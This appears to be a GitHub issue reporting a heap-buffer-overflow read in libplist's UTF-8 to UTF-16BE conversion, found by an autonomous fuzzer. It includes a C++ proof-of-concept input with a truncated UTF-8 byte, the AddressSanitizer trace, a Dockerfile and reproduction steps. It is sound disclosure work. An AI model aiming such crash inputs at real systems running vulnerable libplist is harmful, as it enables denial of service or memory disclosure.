-
-
Notifications
You must be signed in to change notification settings - Fork 329
Description
Hi, there is a potential bug in plist serialization reachable by providing a truncated UTF-8 sequence inside a plist.
This bug was reproduced on 438f01b.
Description
The AddressSanitizer report shows a heap-buffer-overflow read in bplist.c:1122 inside plist_utf8_to_utf16be, called via write_unicode from plist_to_bin, reached by PList::Structure::ToBin(). The code computes lookahead bytes using conditions like (i < size-2) and (i < size-3). With size as an unsigned type (size_t), when size < 2 or < 3 these expressions underflow, making the comparisons spuriously true and causing reads past the buffer end. In our minimized case, we parse an XML plist whose contains a single byte 0xF0 (start of a 4-byte UTF-8 sequence) and then serialize to binary. The XML parser accepts the content (allocates a 2-byte buffer including NUL), but the UTF-8→UTF-16BE converter reads unistr[i+2] and unistr[i+3] past the buffer due to the incorrect bound checks, reproducing the same stack trace and out-of-bounds read at the first byte after the 2-byte allocation.
POC
The following testcase demonstrates the bug:
testcase.cpp
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <cstring>
#include <string>
#include <vector>
extern "C" {
#include "/fuzz/install/include/plist/plist.h"
}
#include "/fuzz/install/include/plist/plist++.h"
int main(){
// Build XML with a dict containing a string with a single non-ASCII byte (invalid UTF-8 continuation scenario)
std::string payload;
payload.push_back((char)0xF0); // start of 4-byte UTF-8 sequence without continuation bytes
std::string xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
xml += "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n";
xml += "<plist version=\"1.0\"><dict><key>K</key><string>" + payload + "</string></dict></plist>";
std::vector<char> buf(xml.begin(), xml.end());
PList::Structure* s = PList::Structure::FromMemory(buf, nullptr);
if (!s) return 0; // parsing must succeed for reproduction
// Serialize to binary (triggers plist_utf8_to_utf16be)
auto bin = s->ToBin();
// ensure side-effect so it isn't optimized away
if (bin.size() == 123456789) puts("impossible");
return 0;
}
stdout
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000000f2 at pc 0x55c6da4b20b0 bp 0x7ffc52a9dff0 sp 0x7ffc52a9dfe8
READ of size 1 at 0x5020000000f2 thread T0
#0 0x55c6da4b20af in plist_utf8_to_utf16be /fuzz/src/src/bplist.c:1122:23
#1 0x55c6da4b20af in write_unicode /fuzz/src/src/bplist.c:1165:18
#2 0x55c6da4b20af in plist_to_bin /fuzz/src/src/bplist.c:1426:17
#3 0x55c6da49cb17 in PList::Structure::ToBin() const /fuzz/src/src/Structure.cpp:68:5
#4 0x55c6da498c8b in main /fuzz/testcase.cpp:25:19
#5 0x7fecc1d5dd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#6 0x7fecc1d5de3f in __libc_start_main csu/../csu/libc-start.c:392:3
#7 0x55c6da3bd634 in _start (/fuzz/test+0x37634) (BuildId: d52763693b3ec31def8b21acaea02cc44bacc882)
0x5020000000f2 is located 0 bytes after 2-byte region [0x5020000000f0,0x5020000000f2)
allocated by thread T0 here:
#0 0x55c6da4599de in malloc (/fuzz/test+0xd39de) (BuildId: d52763693b3ec31def8b21acaea02cc44bacc882)
#1 0x55c6da4ae500 in text_parts_get_content /fuzz/src/src/xplist.c:935:18
#2 0x55c6da4aaf6c in node_from_xml /fuzz/src/src/xplist.c:1258:27
#3 0x55c6da4aaf6c in plist_from_xml /fuzz/src/src/xplist.c:1486:12
#4 0x55c6da4b48d1 in plist_from_memory /fuzz/src/src/plist.c:290:19
SUMMARY: AddressSanitizer: heap-buffer-overflow /fuzz/src/src/bplist.c:1122:23 in plist_utf8_to_utf16be
Shadow bytes around the buggy address:
0x501ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x501ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x501fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x501fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502000000000: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fd
=>0x502000000080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa[02]fa
0x502000000100: fa fa 02 fa fa fa fd fa fa fa fd fa fa fa fd fa
0x502000000180: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 06 fa
0x502000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1==ABORTING
stderr
Steps to Reproduce
The crash was triaged with the following Dockerfile:
Dockerfile
# Ubuntu 22.04 with some packages pre-installed
FROM hgarrereyn/stitch_repro_base@sha256:3ae94cdb7bf2660f4941dc523fe48cd2555049f6fb7d17577f5efd32a40fdd2c
RUN git clone https://github.com/libimobiledevice/libplist /fuzz/src && \
cd /fuzz/src && \
git checkout 438f01bad1437a15d35fa102bcde693171f03074 && \
git submodule update --init --remote --recursive
ENV LD_LIBRARY_PATH=/fuzz/install/lib
ENV ASAN_OPTIONS=hard_rss_limit_mb=1024:detect_leaks=0
RUN echo '#!/bin/bash\nexec clang-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper && \
chmod +x /usr/local/bin/clang_wrapper && \
echo '#!/bin/bash\nexec clang++-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper++ && \
chmod +x /usr/local/bin/clang_wrapper++
# Install build dependencies for autotools project
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
autoconf automake libtool pkg-config \
&& rm -rf /var/lib/apt/lists/*
# Build and install libplist statically into /fuzz/install
WORKDIR /fuzz/src
ENV CC=clang_wrapper CXX=clang_wrapper++
RUN ./autogen.sh
RUN ./configure \
--prefix=/fuzz/install \
--disable-shared \
--enable-static \
--with-tools=no \
--without-cython
RUN make -j"$(nproc)" && make installBuild Command
clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -lplist++-2.0 -lplist-2.0 -lm && /fuzz/testReproduce
- Copy
Dockerfileandtestcase.cppinto a local folder. - Build the repro image:
docker build . -t repro --platform=linux/amd64- Compile and run the testcase in the image:
docker run \
-it --rm \
--platform linux/amd64 \
--mount type=bind,source="$(pwd)/testcase.cpp",target=/fuzz/testcase.cpp \
repro \
bash -c "clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -lplist++-2.0 -lplist-2.0 -lm && /fuzz/test"Additional Info
This testcase was discovered by STITCH, an autonomous fuzzing system. All reports are reviewed manually (by a human) before submission.